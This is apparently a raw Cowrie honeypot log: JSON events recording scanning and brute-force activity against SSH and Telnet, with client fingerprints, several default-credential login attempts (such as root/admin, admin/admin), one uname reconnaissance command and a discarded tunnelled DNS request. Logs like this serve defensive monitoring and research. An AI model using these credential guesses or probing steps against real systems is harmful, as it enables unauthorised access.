{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":48690,"dst_ip":"10.17.0.5","dst_port":23,"session":"db242ee81e2d","protocol":"telnet","message":"New connection: 45.58.127.90:48690 (10.17.0.5:23) [session: db242ee81e2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:39:18.897916Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":56490,"dst_ip":"159.203.135.109","dst_port":23,"session":"681f59442654","protocol":"telnet","message":"New connection: 147.182.143.59:56490 (159.203.135.109:23) [session: 681f59442654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:39:19.980783Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":56492,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8a4213df545","protocol":"telnet","message":"New connection: 147.182.143.59:56492 (159.203.135.109:23) [session: e8a4213df545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:39:22.664248Z"}
{"eventid":"cowrie.session.connect","src_ip":"1.13.22.203","src_port":37146,"dst_ip":"159.203.135.109","dst_port":22,"session":"4939840a01f5","protocol":"ssh","message":"New connection: 1.13.22.203:37146 (159.203.135.109:22) [session: 4939840a01f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:39:23.220860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:39:23.229626Z","src_ip":"1.13.22.203","session":"4939840a01f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.853694915771484,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:39:26.108581Z","src_ip":"147.182.143.59","session":"9afc6c0e2460","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:39:26.302148Z","src_ip":"1.13.22.203","session":"4939840a01f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"asdf123","message":"login attempt [user/asdf123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:39:27.634167Z","src_ip":"1.13.22.203","session":"4939840a01f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":48700,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e9402fcaa86","protocol":"telnet","message":"New connection: 45.58.127.90:48700 (10.17.0.5:23) [session: 7e9402fcaa86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:39:27.982639Z"}
{"eventid":"cowrie.session.closed","duration":9.074061393737793,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:39:31.738170Z","src_ip":"147.182.143.59","session":"e8a4213df545","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":48696,"dst_ip":"10.17.0.5","dst_port":23,"session":"31811e44b81c","protocol":"telnet","message":"New connection: 45.58.127.90:48696 (10.17.0.5:23) [session: 31811e44b81c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:39:36.150368Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:39:43.839718Z","src_ip":"47.239.15.75","session":"85737c7caf31","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:39:43.843524Z","src_ip":"47.239.15.75","session":"85737c7caf31","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:39:44.090105Z","src_ip":"47.239.15.75","session":"85737c7caf31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"144.1","message":"Connection lost after 144.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:39:46.063164Z","src_ip":"47.239.15.75","session":"85737c7caf31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":35148,"dst_ip":"159.203.135.109","dst_port":22,"session":"d72887f58629","protocol":"ssh","message":"New connection: 47.239.15.75:35148 (159.203.135.109:22) [session: d72887f58629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:39:52.220831Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":21416,"dst_ip":"10.17.0.5","dst_port":22,"session":"951cdfc5efc1","protocol":"ssh","message":"New connection: 87.251.64.176:21416 (10.17.0.5:22) [session: 951cdfc5efc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:39:59.068231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:39:59.073396Z","src_ip":"87.251.64.176","session":"951cdfc5efc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:39:59.170656Z","src_ip":"87.251.64.176","session":"951cdfc5efc1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:39:59.460497Z","src_ip":"87.251.64.176","session":"951cdfc5efc1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:39:59.619530Z","session":"951cdfc5efc1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:39:59.717508Z","src_ip":"87.251.64.176","session":"951cdfc5efc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:39:59.953883Z","src_ip":"87.251.64.176","session":"951cdfc5efc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.56779360771179,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:40:02.465603Z","src_ip":"45.58.127.90","session":"db242ee81e2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.29705023765564,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:40:06.279579Z","src_ip":"45.58.127.90","session":"7e9402fcaa86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.23257780075073,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:40:12.382827Z","src_ip":"45.58.127.90","session":"31811e44b81c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.15996336936951,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:40:18.140489Z","src_ip":"147.182.143.59","session":"681f59442654","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39192,"dst_ip":"10.17.0.5","dst_port":23,"session":"a45fc1f9fa3c","protocol":"telnet","message":"New connection: 45.58.127.90:39192 (10.17.0.5:23) [session: a45fc1f9fa3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:40:19.859068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:40:32.531332Z","src_ip":"47.239.15.75","session":"d72887f58629","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:40:32.535639Z","src_ip":"47.239.15.75","session":"d72887f58629","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:40:37.486144Z","src_ip":"47.239.15.75","session":"d72887f58629","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"49.1","message":"Connection lost after 49.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:40:41.367041Z","src_ip":"47.239.15.75","session":"d72887f58629","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34562,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd9178ffa655","protocol":"telnet","message":"New connection: 45.58.127.90:34562 (10.17.0.5:23) [session: dd9178ffa655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:40:42.675049Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34576,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cabb6b416a6","protocol":"telnet","message":"New connection: 45.58.127.90:34576 (10.17.0.5:23) [session: 9cabb6b416a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:40:48.019858Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":51008,"dst_ip":"10.17.0.5","dst_port":23,"session":"77e269196ffe","protocol":"telnet","message":"New connection: 45.58.127.90:51008 (10.17.0.5:23) [session: 77e269196ffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:40:52.549591Z"}
{"eventid":"cowrie.session.closed","duration":43.835230112075806,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:41:03.694174Z","src_ip":"45.58.127.90","session":"a45fc1f9fa3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43342,"dst_ip":"10.17.0.5","dst_port":23,"session":"b60ed733c4d1","protocol":"telnet","message":"New connection: 45.58.127.90:43342 (10.17.0.5:23) [session: b60ed733c4d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:41:04.854545Z"}
{"eventid":"cowrie.session.closed","duration":39.52815318107605,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:41:22.203076Z","src_ip":"45.58.127.90","session":"dd9178ffa655","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:41:23.227120Z","src_ip":"1.13.22.203","session":"4939840a01f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":41736,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b289ecf5dea","protocol":"telnet","message":"New connection: 45.58.127.90:41736 (10.17.0.5:23) [session: 9b289ecf5dea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:41:33.366836Z"}
{"eventid":"cowrie.session.closed","duration":41.82779812812805,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:41:34.377272Z","src_ip":"45.58.127.90","session":"77e269196ffe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.407938957214355,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:41:34.427670Z","src_ip":"45.58.127.90","session":"9cabb6b416a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60574,"dst_ip":"10.17.0.5","dst_port":23,"session":"6209001d5766","protocol":"telnet","message":"New connection: 45.58.127.90:60574 (10.17.0.5:23) [session: 6209001d5766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:41:39.247364Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60590,"dst_ip":"10.17.0.5","dst_port":23,"session":"9facf370d8e2","protocol":"telnet","message":"New connection: 45.58.127.90:60590 (10.17.0.5:23) [session: 9facf370d8e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:41:40.965204Z"}
{"eventid":"cowrie.session.closed","duration":42.250415086746216,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:41:47.104859Z","src_ip":"45.58.127.90","session":"b60ed733c4d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":58810,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd7e01b3c917","protocol":"telnet","message":"New connection: 147.182.143.59:58810 (159.203.135.109:23) [session: cd7e01b3c917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:42:08.506080Z"}
{"eventid":"cowrie.session.closed","duration":40.70674967765808,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:42:14.073465Z","src_ip":"45.58.127.90","session":"9b289ecf5dea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.940893173217773,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:42:18.446849Z","src_ip":"147.182.143.59","session":"cd7e01b3c917","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.2358512878418,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:42:23.483089Z","src_ip":"45.58.127.90","session":"6209001d5766","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.13662838935852,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:42:26.101717Z","src_ip":"45.58.127.90","session":"9facf370d8e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":35208,"dst_ip":"159.203.135.109","dst_port":23,"session":"0eb88014803e","protocol":"telnet","message":"New connection: 147.182.143.59:35208 (159.203.135.109:23) [session: 0eb88014803e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:42:26.988097Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":14073,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb54cd7c14da","protocol":"ssh","message":"New connection: 185.71.233.73:14073 (10.17.0.5:22) [session: bb54cd7c14da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:42:33.514874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:42:33.520123Z","src_ip":"185.71.233.73","session":"bb54cd7c14da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:42:33.713357Z","src_ip":"185.71.233.73","session":"bb54cd7c14da","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:42:34.310920Z","src_ip":"185.71.233.73","session":"bb54cd7c14da","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:42:34.758393Z","src_ip":"185.71.233.73","session":"bb54cd7c14da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:42:34.956000Z","src_ip":"185.71.233.73","session":"bb54cd7c14da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":14092,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1e8cab6e10b","protocol":"ssh","message":"New connection: 185.71.233.73:14092 (159.203.135.109:22) [session: c1e8cab6e10b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:42:35.552565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:42:35.566642Z","src_ip":"185.71.233.73","session":"c1e8cab6e10b","protocol":"ssh"}
